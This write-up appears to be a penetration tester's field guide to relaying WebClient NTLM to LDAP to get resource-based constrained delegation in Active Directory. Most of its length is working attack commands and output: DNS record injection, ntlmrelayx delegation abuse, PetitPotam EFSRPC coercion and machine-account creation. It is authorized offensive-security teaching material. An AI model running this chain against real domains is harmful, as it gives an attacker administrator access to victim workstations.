← All write-ups
Active Directory

WebClient NTLM Relay to LDAP for RBCD: A Field Guide

A chronological field guide to diagnosing WebClient NTLM relay to LDAP, writing RBCD, completing S4U, validating access, and cleaning up.

TL;DR: DNS-to-relay quick path

This is the shortest working path from DNS setup to a confirmed RBCD write. It assumes the earlier checks already passed:

  • The victim has WebClient running.
  • EFSRPC coercion works over the efsrpc pipe.
  • The selected DC accepts the HTTP NTLM relay to LDAP.
  • RBCDTEST01$ already exists and I control its password or Kerberos key.
  • The target’s original RBCD value has been recorded for cleanup.

The examples use these sanitized values:

Role Value
Domain CORP.LOCAL
DC and DNS server 10.0.0.10
Second DNS server 10.0.0.11
Victim 10.0.20.50 / VICTIM01.CORP.LOCAL
Relay host 10.0.30.240
Controlled machine RBCDTEST01$
Short listener KALIWEB01

Step 1: Find the victim’s DNS suffix and authoritative servers

Do not guess the suffix from the logon domain. Read it from the victim’s computer object, then query its SOA and NS records:

ldapsearch -LLL \
  -H ldap://10.0.0.10 \
  -D 'audituser@CORP.LOCAL' \
  -W \
  -b 'DC=CORP,DC=LOCAL' \
  '(sAMAccountName=VICTIM01$)' \
  dNSHostName msDS-AdditionalDnsHostName

dig @10.0.0.10 CORP.LOCAL SOA +short
dig @10.0.0.10 CORP.LOCAL NS +short

The useful response is the victim FQDN and the authoritative DNS servers:

dNSHostName: VICTIM01.CORP.LOCAL
DC1.CORP.LOCAL.
DC2.CORP.LOCAL.

Step 2: Find where AD stores the DNS zone

Run all three discovery modes if the first one does not show the domain zone:

python3 /opt/krbrelayx/dnstool.py -u 'CORP.LOCAL\audituser' --print-zones-dn -dns-ip 10.0.0.10 10.0.0.10
python3 /opt/krbrelayx/dnstool.py -u 'CORP.LOCAL\audituser' --forest --print-zones-dn -dns-ip 10.0.0.10 10.0.0.10
python3 /opt/krbrelayx/dnstool.py -u 'CORP.LOCAL\audituser' --legacy --print-zones-dn -dns-ip 10.0.0.10 10.0.0.10

Choose the mode from the returned zone DN, not from the server’s age:

Zone DN contains Mode
DC=DomainDnsZones Default mode
DC=ForestDnsZones --forest
CN=MicrosoftDNS,CN=System --legacy

In this test, only the legacy query found the zone:

DC=corp.local,CN=MicrosoftDNS,CN=System,DC=CORP,DC=LOCAL

--legacy solved the LDAP path. It did not create the working listener record. The later dnstool.py --legacy -a add created an AD object, but authoritative DNS still returned NXDOMAIN.

Step 3: Inspect the live zone and choose a supported update path

Query the active DNS service:

samba-tool dns zoneinfo \
  10.0.0.10 \
  corp.local \
  -U 'CORP\audituser'

The lines that changed the path were:

fAllowUpdate  : DNS_ZONE_UPDATE_UNSECURE
fUseDatabase  : TRUE
dwDpFlags     : DNS_DP_LEGACY DNS_DP_ENLISTED
pwszZoneDn    : DC=corp.local,CN=MicrosoftDNS,CN=System,...

The zone accepted unauthenticated RFC 2136 updates. That was a separate finding. It allowed this nsupdate command to create the record that actually worked:

nsupdate -v
server 10.0.0.10
zone corp.local.
update add KALIWEB01.corp.local. 180 A 10.0.30.240
send
quit

If zoneinfo does not show DNS_ZONE_UPDATE_UNSECURE, do not assume this nsupdate path will work. Use an authorized update method that matches the zone’s policy.

Step 4: Verify the listener record on every DNS server

dig @10.0.0.10 KALIWEB01.CORP.LOCAL A +norecurse +short
dig @10.0.0.11 KALIWEB01.CORP.LOCAL A +norecurse +short

Both servers should return the relay address:

10.0.30.240
10.0.30.240

Use the FQDN only for this DNS check. The coercion path should use the single-label name KALIWEB01@80/test so WinHTTP is more likely to treat it as an intranet destination and send NTLM automatically.

Step 5: Start the HTTP-to-LDAP relay

sudo impacket-ntlmrelayx \
  -t ldap://10.0.0.10 \
  --delegate-access \
  --escalate-user 'RBCDTEST01$' \
  --no-smb-server \
  --no-dump \
  --no-da \
  --no-acl \
  --no-multirelay \
  -debug

Confirm that the HTTP listener owns port 80:

sudo ss -lntp '( sport = :80 )'
LISTEN  0  5  0.0.0.0:80  0.0.0.0:*  users:(("python3",pid=<PID>,fd=4))

Step 6: Trigger the known-good WebDAV path

python3 /opt/PetitPotam/PetitPotam.py \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -d CORP.LOCAL \
  -pipe efsr \
  'KALIWEB01@80/test' \
  10.0.20.50

PetitPotam should reach the expected RPC error path:

[+] Successfully bound!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

The relay—not the PetitPotam message—is the real success check:

(HTTP): Connection from 10.0.20.50 controlled, attacking target ldap://10.0.0.10
(HTTP): Authenticating connection from CORP/VICTIM01$ against ldap://10.0.0.10 SUCCEED
Delegation rights modified successfully!
RBCDTEST01$ can now impersonate users on VICTIM01$ via S4U2Proxy

Step 7: Verify the RBCD write

impacket-rbcd \
  -action read \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'
[*] Accounts allowed to act on behalf of other identity:
[*]     RBCDTEST01$  (S-1-5-21-<DOMAIN-SID>-<RID>)

At this point, the DNS and relay work is complete. The full timeline below covers the failed dnstool.py write, packet evidence, Kerberos S4U steps, access validation, and cleanup.

Terms and detailed issue map

Quick terms:

  • Active Directory (AD) stores Windows users, computers, and access rules.
  • Server Message Block (SMB) is the Windows file-sharing protocol.
  • NT LAN Manager (NTLM) is an older Windows challenge-response logon method.
  • Lightweight Directory Access Protocol (LDAP) reads and changes directory data.
  • Web Distributed Authoring and Versioning (WebDAV) provides file access over HTTP.
  • Encrypting File System Remote Protocol (EFSRPC) was the RPC interface used to trigger the callback.
  • Resource-Based Constrained Delegation (RBCD) lets a target choose which account may impersonate users to its services.
  • Common Internet File System (CIFS) is the SMB service name used in the final Kerberos ticket.

Check DNS before you keep changing the coercion

DNS caused most of the delay in this test. Use this quick branch when an FQDN reaches port 80 but sends no NTLM, or when a short name sends no traffic at all.

What you see What it means What to do next
The FQDN sends OPTIONS or PROPFIND, but ntlmrelayx shows no identity Routing, port 80, WebClient, and the trigger work. WinHTTP may classify the dotted name as an Internet destination and withhold credentials. Keep the FQDN as a transport check. Move the final WebDAV path to a resolvable single-label name.
The single-label name sends no packets The victim did not resolve or suffix-expand the name. Read the victim’s dNSHostName, then query the SOA and NS records for that suffix.
Default dnstool.py returns noSuchObject The zone is not under the default DomainDnsZones path. The DNS zone may still exist. Enumerate all three AD DNS partitions before retrying the add.
The LDAP DNS add succeeds, but dig returns NXDOMAIN The dnsNode exists in AD, but the active DNS service is not publishing it. Check the record and SOA serial, inspect the live zone with samba-tool dns zoneinfo, and use a supported update path if the assessment permits it.
One DNS server resolves the record and another does not Replication or each server’s in-memory DNS state differs. Query every authoritative DNS server before the trigger and again during cleanup.

In this test, dnstool.py was useful for finding the zone’s AD storage path. It did not create the final working DNS record. Even with the correct --legacy flag, the LDAP object existed while authoritative DNS still returned NXDOMAIN.

Choose the dnstool.py discovery mode from the zone’s distinguished name (DN), not from the age of the server:

Zone DN contains Mode to use
DC=DomainDnsZones Default mode; no partition flag
DC=ForestDnsZones --forest
CN=MicrosoftDNS,CN=System --legacy

These are enumeration commands only. They show where the zone is stored:

python3 /opt/krbrelayx/dnstool.py -u 'CORP.LOCAL\audituser' --print-zones-dn -dns-ip 10.0.0.10 10.0.0.10
python3 /opt/krbrelayx/dnstool.py -u 'CORP.LOCAL\audituser' --forest --print-zones-dn -dns-ip 10.0.0.10 10.0.0.10
python3 /opt/krbrelayx/dnstool.py -u 'CORP.LOCAL\audituser' --legacy --print-zones-dn -dns-ip 10.0.0.10 10.0.0.10

The command that created the working record in this environment was nsupdate:

nsupdate -v
server 10.0.0.10
zone corp.local.
update add KALIWEB01.corp.local. 180 A 10.0.30.240
send
quit

That path worked because samba-tool dns zoneinfo showed DNS_ZONE_UPDATE_UNSECURE. The zone accepted an unauthenticated RFC 2136 update. This is environment-specific and was also a separate finding. If the zone requires secure updates, this exact nsupdate path will not work without valid update credentials.

Messages that do not confirm the full attack

  • VULNERABLE, PetitPotam confirms an exposed coercion method. It does not confirm the callback protocol, listener name, NTLM, or relay.
  • PetitPotam’s Attack worked! confirms the expected RPC error path. It does not confirm that the victim resolved the listener or reached Kali.
  • HTTP OPTIONS and PROPFIND confirm WebClient and network reachability. They do not confirm that Windows sent credentials.
  • LDAP operation completed successfully from dnstool.py confirms an AD object write. It does not confirm that authoritative DNS serves the record.
  • CCache file is not found. Skipping... is informational when Impacket then tries a supplied password. The later KDC result is the useful line.

I started with a low-privileged domain user. I ended with an Administrator CIFS ticket for the victim and verified local-admin SMB access. The table below shows each problem in the order I hit it.

# Observation Meaning Response
1 The victim’s normal callback reached the relay over SMB, but ntlmrelayx said the client requested signing. Coercion worked, but this SMB exchange could not be relayed to LDAP. I moved from SMB on port 445 to HTTP/WebDAV on port 80.
2 NetExec reported that WebClient was enabled. The DAV RPC Service pipe was present. This made an HTTP/WebDAV callback possible, but did not confirm DNS, routing, NTLM, or LDAP relay. I kept the host as the victim. Later OPTIONS and PROPFIND packets confirmed that WebClient processed my path.
3 LDAP signing was not required on the selected DC. An HTTP NTLM token could be relayed to ldap:// if I obtained one. I kept ldap://10.0.0.10 as the relay target.
4 MachineAccountQuota was 10, and the target’s RBCD attribute was empty. My user could create a controlled machine account, and I had a clean baseline. I created RBCDTEST01$, saved its exact password, and recorded the empty RBCD value.
5 The default dnstool.py add for CORP.LOCAL failed with noSuchObject under DomainDnsZones. The zone could still exist, but it was not in the default AD DNS partition. I stopped retrying the add and enumerated zone DNs in default, forest, and legacy storage.
6 Default zone enumeration showed a writable alternate zone, business.example, but not the AD domain zone. I could create DNS records, but I had not found the victim’s real suffix. I created KALIHTTP.business.example as a transport test. dig confirmed that it resolved to Kali.
7 NetExec returned VULNERABLE, PetitPotam, but the victim called Kali on port 445 instead of port 80. The coercion method existed, but that module/version did not give me the WebDAV listener path I expected. I switched to the standalone PetitPotam script for direct pipe and listener control. Packet capture separated SMB from HTTP callbacks.
8 PetitPotam’s default lsarpc pipe failed with abstract_syntax_not_supported. EFSRPC was not available on that endpoint. I used -pipe efsr. PetitPotam then bound and reached the expected ERROR_BAD_NETPATH result.
9 The alternate-zone FQDN reached TCP/80 and sent OPTIONS and PROPFIND, but ntlmrelayx showed no identity. Routing, port 80, WebClient, and the EFSRPC trigger all worked. WinHTTP withheld credentials from the dotted name. I changed the WebDAV path to a single-label listener such as KALIWEB01@80/test and captured on the routed interface, eth0.
10 The first short name produced no packets. The victim could not resolve or suffix-expand that label through the alternate zone. Responder was not dependable across the routed subnets. I queried the victim’s dNSHostName, then used SOA and NS queries. These identified CORP.LOCAL and its authoritative DNS servers.
11 CORP.LOCAL was authoritative but absent from both default and forest zone listings. The --legacy listing found it under CN=MicrosoftDNS,CN=System. The domain zone used legacy AD DNS storage. Server age was not the deciding factor; the zone DN was. I used --legacy for that zone. Default mode is for DomainDnsZones; --forest is for ForestDnsZones; --legacy is for CN=MicrosoftDNS,CN=System.
12 The --legacy LDAP add succeeded and a query found the dnsNode, but authoritative DNS still returned NXDOMAIN. The AD object existed, but the live DNS service did not publish it. I waited through the AD polling interval and watched the SOA serial. The serial moved past the record while the name stayed absent, so I stopped waiting.
13 samba-tool dns zoneinfo showed DNS_DP_LEGACY, fUseDatabase: TRUE, and DNS_ZONE_UPDATE_UNSECURE. The live service used the legacy zone and allowed unauthenticated RFC 2136 updates. This was also a separate finding. I used nsupdate with a fresh label, KALIWEB01, and verified the A record against both authoritative DNS servers.
14 The final trigger used -pipe efsr with KALIWEB01@80/test. The known-good pipe and a resolvable single-label name were now combined. Packet capture showed HTTP NTLM. ntlmrelayx authenticated VICTIM01$ to LDAP and added RBCDTEST01$ to the victim’s RBCD descriptor. impacket-rbcd -action read confirmed the SID.
15 The first getST attempt said CCache file is not found. Skipping... and then returned KDC_ERR_PREAUTH_FAILED. The missing-cache line was informational. Impacket then tried the supplied machine password, and the KDC rejected that key before S4U. The RBCD write was not the problem. I selected a valid RBCDTEST01$ TGT ccache, checked it with klist, and used impacket-getST -k -no-pass. S4U2Self and S4U2Proxy then succeeded.
16 A Kerberos ticket made for the victim’s CIFS FQDN should not be used against its IP address. Kerberos service tickets are tied to their SPN. I exported the Administrator CIFS ccache and ran NetExec against VICTIM01.CORP.LOCAL with --use-kcache --dns-server 10.0.0.10. NetExec reported local-admin access.
17 Cleanup exposed three more issues: the low-privileged creator could not delete the machine, one DNS server kept the record, and one bind returned LDAP data 52e. MAQ creation does not guarantee delete rights. DNS state can differ by server. LDAP 52e means the supplied logon data was invalid. An authorized admin deleted the machine. I sent the DNS delete to each server that still answered, used valid credentials for the bind, and deleted both abandoned DNS nodes.

The final working path was:

Low-privileged domain logon
-> confirm WebClient and a working EFSRPC coercion method
-> confirm unsigned LDAP and MAQ
-> create RBCDTEST01$ and record the empty RBCD baseline
-> find the victim's real DNS suffix
-> enumerate DomainDnsZones, ForestDnsZones, and legacy DNS storage
-> create KALIWEB01 through the live zone's allowed RFC 2136 update path
-> verify KALIWEB01 on both authoritative DNS servers
-> run ntlmrelayx on port 80 with --delegate-access and --escalate-user RBCDTEST01$
-> trigger PetitPotam with -pipe efsr and KALIWEB01@80/test
-> relay VICTIM01$ HTTP NTLM to LDAP
-> write RBCD on VICTIM01$
-> use the RBCDTEST01$ TGT for S4U2Self and S4U2Proxy
-> obtain an Administrator CIFS ticket for VICTIM01.CORP.LOCAL
-> validate local-admin SMB access with NetExec and --use-kcache

End result: RBCDTEST01$ was allowed to delegate to VICTIM01$. I obtained an Administrator CIFS ticket and verified local-admin SMB access on the victim. I then restored the empty RBCD baseline, deleted the controlled machine and every DNS test record, removed the ccache files, and stopped all listeners.

Executive summary

This chain turns a workstation’s machine-account authentication into admin access on that workstation:

Low-privileged domain credentials
        |
        +--> create/control a machine account (MachineAccountQuota or equivalent)
        |
        +--> identify a WebClient-enabled, coercible workstation
        |
        +--> make a short listener hostname resolve to the relay host
        |
        +--> coerce HTTP/WebDAV NTLM authentication with EFSRPC
        |
        +--> relay HTTP NTLM to LDAP on a DC that accepts unsigned LDAP
        |
        +--> write RBCD on the victim computer object
        |
        +--> use S4U2Self + S4U2Proxy to impersonate an administrator
        |
        +--> authenticate to the victim with a CIFS service ticket

The chain looks simple on paper. In practice, several separate steps can fail. PetitPotam worked in my test. WebClient was running. ntlmrelayx owned port 80. I still received no usable relay.

I split the problem into four questions:

  1. Did the coercion RPC call succeed?
  2. Did Windows select WebDAV/HTTP rather than SMB?
  3. Did the victim resolve and classify the listener name in a way that permits automatic NTLM forwarding?
  4. Did the destination LDAP service accept the relayed authentication?

I found the following:

  • The normal SMB callback requested SMB signing, so SMB-to-LDAP relay failed.
  • WebClient was running and could generate HTTP OPTIONS and PROPFIND requests.
  • A dotted FQDN reached port 80 but did not automatically send credentials.
  • The domain DNS zone lived in the legacy CN=MicrosoftDNS,CN=System partition, not the expected DomainDnsZones partition.
  • An LDAP-created DNS node existed in AD but was not published by the active DNS service.
  • The active DNS zone allowed unauthenticated RFC 2136 updates.
  • A fresh, single-label-compatible DNS record created through nsupdate finally produced authenticated WebDAV traffic.
  • Relaying the victim machine account to unsigned LDAP allowed ntlmrelayx to write msDS-AllowedToActOnBehalfOfOtherIdentity and complete the RBCD chain.

The sections below cover the full test, the failed attempts, the working path, and cleanup.

How to read this guide

The next section follows the test in the order it happened. It includes the dead ends. Each stage follows this pattern:

Test -> Result -> Next step

Later sections explain the theory and provide a command reference, a decision tree, cleanup steps, detection ideas, and fixes. During an assessment, start with the timeline. Use the decision tree when a step fails.

Chronological engagement walkthrough

This is the full test from start to finish. The failed attempts matter because each one ruled out part of the chain.

The terminal blocks are sanitized excerpts from the test. I removed banners, repeated scan lines, real client values, and unrelated hosts. I kept the response lines that changed the next step.

Names used throughout the walkthrough:

Role Value
AD domain CORP.LOCAL
Domain controllers/DNS 10.0.0.10, 10.0.0.11
Victim workstation 10.0.20.50 / VICTIM01.CORP.LOCAL
Kali relay host 10.0.30.240
Low-privileged user audituser
Controlled machine RBCDTEST01$
Final listener label KALIWEB01
Alternate/wrong DNS zone business.example

The timeline groups naturally into five blocks:

Block Stages Objective
Discovery 1–6 Prove credentials, WebClient, coercion, LDAP posture, and MAQ
Transport and name diagnosis 7–11 Prove port 80 works and isolate the FQDN-versus-short-name problem
DNS partition and update path 12–14 Discover legacy storage and create a record the active DNS service publishes
Exploitation and validation 15–18 Use the working EFSRPC pipe, relay to LDAP, perform S4U, and validate access
Cleanup 19 Remove RBCD, machine/DNS objects, tickets, and listeners

Stage 1: Identify candidate SMB systems

Test. I scanned the SMB target list. I recorded each host’s name, domain, SMB version, and signing state.

nxc smb smb-targets.txt \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>'

Sanitized output:

SMB  10.0.20.50  445  VICTIM01  [*] Windows 11 Build 22621 x64 (domain:CORP.LOCAL) (signing:False) (SMBv1:False)
SMB  10.0.20.50  445  VICTIM01  [+] CORP.LOCAL\audituser:<LOW_PRIV_PASSWORD>

Result. NetExec identified modern domain-joined workstations, reported their SMB signing state, and confirmed that my user could authenticate to several domain members.

I had a modern domain workstation available for the WebClient and coercion tests.

Next step. I chose one of those workstations for the next tests.

NetExec returned the workstation’s domain identity and a successful logon. I still had to test WebClient, coercion, name resolution, and LDAP relay.

Stage 2: Confirm WebClient on the selected victim

Test. I checked whether the victim’s WebClient service was running.

nxc smb 10.0.20.50 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M webdav

Result. NetExec returned:

SMB     10.0.20.50  445  VICTIM01  [+] CORP.LOCAL\audituser:<LOW_PRIV_PASSWORD>
WEBDAV  10.0.20.50  445  VICTIM01  WebClient Service enabled on: 10.0.20.50

The DAV RPC Service named pipe was present. The host could process a WebDAV-style path such as LISTENER@80/share.

It did not tell me whether:

  • The target would resolve my listener name.
  • The target could route to my port 80.
  • WinHTTP would send NTLM credentials without a prompt.
  • The resulting authentication could be relayed to LDAP.

Next step. I kept the victim in scope and moved to coercion testing.

Later packet captures showed HTTP OPTIONS and PROPFIND requests from this host. Those packets confirmed that WebClient processed the path.

Stage 3: Enumerate coercion methods

Test. I enumerated the coercion methods exposed by the target:

nxc smb 10.0.20.50 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M coerce_plus

Sanitized output:

SMB          10.0.20.50  445  VICTIM01  [+] CORP.LOCAL\audituser:<LOW_PRIV_PASSWORD>
COERCE_PLUS  10.0.20.50  445  VICTIM01  VULNERABLE, PetitPotam
COERCE_PLUS  10.0.20.50  445  VICTIM01  VULNERABLE, PrinterBug
COERCE_PLUS  10.0.20.50  445  VICTIM01  VULNERABLE, MSEven

Result. The target reported several coercion methods, including PetitPotam over the Encrypting File System Remote Protocol (EFSRPC).

The scan returned VULNERABLE, PetitPotam. That meant the RPC method was exposed. It did not yet mean that the victim would send HTTP NTLM to me.

Next step. I tested whether the coerced SMB authentication could be relayed to LDAP.

Stage 4: Try SMB-to-LDAP relay and see why it fails

Test. I coerced a normal Server Message Block (SMB) callback and tried to relay it to LDAP.

Result. The victim reached the relay host. ntlmrelayx then reported:

The client requested signing. Relaying to LDAP will not work!

Coercion worked. The SMB client asked for message signing, so the captured exchange could not be moved into an LDAP session.

Victim -> SMB NTLM with signing requested -> relay wants LDAP -> unusable exchange

Next step. I stopped repeating the SMB callback. I moved to HTTP through WebClient.

Later captures showed the same victim reaching TCP/80 with WebDAV requests. That removed SMB signing from the client side of this relay path.

Stage 5: Confirm the LDAP destination is relayable

Test. I checked the destination domain controller (DC) with NetExec.

nxc ldap 10.0.0.10 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>'

Sanitized output:

LDAP  10.0.0.10  389  DC1  [*] Windows Server (domain:CORP.LOCAL) (signing:None) (channel binding:No TLS cert)
LDAP  10.0.0.10  389  DC1  [+] CORP.LOCAL\audituser:<LOW_PRIV_PASSWORD>

Result. The banner showed that LDAP signing was not required.

The key question was:

Will this DC accept the relayed NTLM bind without requiring LDAP signing?

The banner suggested that the answer was yes. If the DC required LDAP signing, the victim could still reach my HTTP listener, but the relay would fail at the LDAP bind.

Next step. I kept ldap://10.0.0.10 as the relay target.

The final relay authenticated VICTIM01$ to LDAP and changed the RBCD attribute. That live result confirmed the banner assessment.

Stage 6: Confirm MachineAccountQuota and create the controlled principal

Resource-Based Constrained Delegation (RBCD) lets a target resource choose which account may impersonate users to its services. I needed an account that I controlled before I could grant that right.

Test. I checked the domain’s MachineAccountQuota (MAQ). MAQ sets how many computer accounts a normal user may create.

nxc ldap 10.0.0.10 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M maq

Result. NetExec returned:

LDAP  10.0.0.10  389  DC1  [+] CORP.LOCAL\audituser:<LOW_PRIV_PASSWORD>
ms-DS-MachineAccountQuota: 10

The value allowed my low-privileged user to create a computer. I added one:

impacket-addcomputer \
  -computer-name 'RBCDTEST01$' \
  -computer-pass '<MACHINE_PASSWORD>' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

Sanitized output:

[*] Successfully added machine account RBCDTEST01$ with password <MACHINE_PASSWORD>

I now controlled a machine account that could be placed in the target’s RBCD security descriptor.

Next step. I saved the exact machine password in the engagement notes. A later Kerberos error came from using the wrong password, not from RBCD.

I also recorded the target’s RBCD baseline:

impacket-rbcd \
  -action read \
  -delegate-to 'VICTIM01$' \
  -dc-ip 10.0.0.10 \
  'CORP.LOCAL/audituser'

The attribute was empty:

Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

This baseline let me show the change and restore the original state during cleanup.

Stage 7: Define the HTTP-only relay configuration

Test. I prepared an HTTP-only relay. LDAP was the target. RBCDTEST01$ was the account that would receive delegation rights. I disabled the SMB listener.

sudo impacket-ntlmrelayx \
  -t ldap://10.0.0.10 \
  --delegate-access \
  --escalate-user 'RBCDTEST01$' \
  --no-smb-server \
  --no-dump \
  --no-da \
  --no-acl \
  --no-multirelay \
  -debug

Sanitized startup output:

[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Multirelay disabled
[*] Servers started, waiting for connections

Result. The relay loaded its HTTP server and waited for connections.

A quiet terminal did not show where the chain had failed. It only showed that no usable HTTP authentication had reached the relay.

Next step. Each time I started or restarted the relay, I checked who owned port 80:

sudo ss -lntp '( sport = :80 )'
State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process
LISTEN  0       5       0.0.0.0:80          0.0.0.0:*          users:(("python3",pid=<PID>,fd=4))

ss showed python3 listening on 0.0.0.0:80. I then used packet capture to separate network traffic from relay output.

Stage 8: The first dnstool.py write fails with noSuchObject

I needed a short listener name. Windows treats a single-label name as an intranet name more often than it treats a dotted name that way.

Test. I assumed that the AD domain zone was stored in the normal DomainDnsZones application partition. I used dnstool.py in its default mode:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --zone corp.local \
  -r 'KALIHTTP.CORP.LOCAL' \
  -a add \
  -d 10.0.30.240 \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Sanitized output:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[!] LDAP operation failed. Message returned from server: noSuchObject
    0000208D: NameErr, problem 2001 (NO_OBJECT), data 0, best match of:
    'CN=MicrosoftDNS,DC=DomainDnsZones,DC=CORP,DC=LOCAL'

Result. LDAP returned noSuchObject. Its best match was under DomainDnsZones.

The DNS zone could still exist. The error only said that the expected zone object was absent from the partition searched by default.

Next step. I stopped retrying the same add. I began enumerating zone distinguished names (DNs). A DN is the full LDAP path to an object.

Later SOA and NS queries showed that the DC was authoritative for CORP.LOCAL. The legacy zone listing then showed its actual DN.

Stage 9: Enumerate the default zones and create a record in the wrong zone

Test. I listed zones in the default AD DNS partition:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --print-zones-dn \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Sanitized output:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Found domain DNS zones:
    DC=business.example,CN=MicrosoftDNS,DC=DomainDnsZones,DC=CORP,DC=LOCAL
    DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=CORP,DC=LOCAL

Result. The AD domain zone was absent. An alternate zone, shown here as business.example, was present and writable. I created a record in it:

python3 /opt/krbrelayx/dnstool.py \
  -u 'CORP.LOCAL\audituser' \
  --zone business.example \
  -r 'KALIHTTP.business.example' \
  -a add \
  -d 10.0.30.240 \
  -dns-ip 10.0.0.10 \
  10.0.0.10

Sanitized output:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

I verified the record through authoritative DNS:

dig @10.0.0.10 KALIHTTP.business.example A +norecurse +short
10.0.30.240

LDAP writes worked. Authoritative DNS also returned the new fully qualified domain name (FQDN). An FQDN is a complete name such as host.example.com.

The record was valid, but it used the wrong suffix for the victim’s short-name lookup.

Next step. I used this FQDN as a transport test. I did not yet treat it as the final listener name.

dig returned the Kali address for KALIHTTP.business.example. The next test showed that the victim could reach it on port 80.

Stage 10: Test the alternate-zone FQDN and isolate three transport issues

This stage contained three separate failures. I handled each one on its own.

Attempt 1: NetExec called back over SMB

Test. I started the HTTP relay, checked port 80, and passed the dotted FQDN to NetExec:

nxc smb 10.0.20.50 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M coerce_plus \
  -o 'LISTENER=KALIHTTP.business.example@80' 'METHOD=PetitPotam'

I also tried the short form:

nxc smb 10.0.20.50 \
  -d CORP.LOCAL \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -M coerce_plus \
  -o 'LISTENER=KALIHTTP@80' 'METHOD=PetitPotam'

Sanitized NetExec output from both tests:

SMB          10.0.20.50  445  VICTIM01  [+] CORP.LOCAL\audituser:<LOW_PRIV_PASSWORD>
COERCE_PLUS  10.0.20.50  445  VICTIM01  VULNERABLE, PetitPotam

The packet capture showed the transport that NetExec actually triggered:

10.0.20.50.<EPHEMERAL> > 10.0.30.240.445: Flags [S]
10.0.30.240.445 > 10.0.20.50.<EPHEMERAL>: Flags [R.]

Result. NetExec returned VULNERABLE, PetitPotam. Packet capture showed a callback to Kali on port 445, not port 80.

The method was exposed, but this module version did not give me the WebDAV request I expected. The word VULNERABLE did not confirm the listener form or relay path. SMB signing had already made the port-445 callback unusable for this LDAP relay.

Next step. I moved to the standalone PetitPotam script. It gave me direct control over the listener and RPC pipe.

The capture showed the victim’s SYN packets to TCP/445. It showed no victim traffic to TCP/80 during this attempt.

Attempt 2: The default RPC pipe failed

Test. I used PetitPotam’s default lsarpc endpoint.

python3 /opt/PetitPotam/PetitPotam.py \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -d CORP.LOCAL \
  'KALIHTTP.business.example@80/test' \
  10.0.20.50

Result. The EFSRPC bind failed:

Trying pipe lsarpc
[-] Connecting to ncacn_np:10.0.20.50[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported

EFSRPC was not exposed on that endpoint. The listener name was not yet the issue in this attempt.

Next step. I selected the efsrpc pipe.

PetitPotam bound to EFSRPC and reached its expected ERROR_BAD_NETPATH result.

Attempt 3: The FQDN reached HTTP but sent no NTLM

Test. I used the working efsrpc pipe with the dotted listener FQDN.

python3 /opt/PetitPotam/PetitPotam.py \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -d CORP.LOCAL \
  -pipe efsr \
  'KALIHTTP.business.example@80/test' \
  10.0.20.50

PetitPotam reached the expected coercion path:

Trying pipe efsr
[-] Connecting to ncacn_np:10.0.20.50[\PIPE\efsrpc]
[+] Connected!
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Result. The victim reached TCP/80:

10.0.20.50.<EPHEMERAL> > 10.0.30.240.80: Flags [S]
10.0.20.50.<EPHEMERAL> > 10.0.30.240.80: HTTP: OPTIONS /test/PIPE/srvsvc HTTP/1.1
10.0.20.50.<EPHEMERAL> > 10.0.30.240.80: HTTP: PROPFIND /test/PIPE/srvsvc HTTP/1.1

ntlmrelayx logged these paths:

(HTTP): Client requested path: /test/pipe/srvsvc

ntlmrelayx did not log an authenticated identity.

I could now rule out several causes:

  • The relay host was reachable from the victim.
  • Routing between the subnets worked.
  • The listener owned port 80.
  • WebClient was processing the path.
  • The efsrpc pipe could cause WebDAV traffic.

Automatic credential forwarding was missing. Microsoft documents that WinHTTP normally treats dotted names as Internet destinations and single-label names as intranet destinations. In this setup, the FQDN was useful for testing reachability but not for getting automatic NTLM.

Next step. I replaced the dotted listener with a single-label name.

The capture contained complete HTTP OPTIONS and PROPFIND requests from the victim. ntlmrelayx showed no identity. This was a name-classification failure, not a routing failure.

Stage 11: The short name produces no traffic, so I identify the real suffix

Test. I changed only the listener name:

python3 /opt/PetitPotam/PetitPotam.py \
  -u audituser \
  -p '<LOW_PRIV_PASSWORD>' \
  -d CORP.LOCAL \
  -pipe efsr \
  'KALIHTTP@80/test' \
  10.0.20.50

PetitPotam again returned the expected ERROR_BAD_NETPATH result. The port-80 capture stayed empty.

Result. Neither ntlmrelayx nor tcpdump saw a callback:

Alternate-zone FQDN -> HTTP packets, but no NTLM
Short name            -> no packets at all

The victim could not resolve the short name to my existing record. The business.example suffix was not the workstation’s search suffix.

I considered Responder. The victim and relay host were on different routed subnets, so Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBNS) broadcasts were not dependable. I needed authoritative DNS.

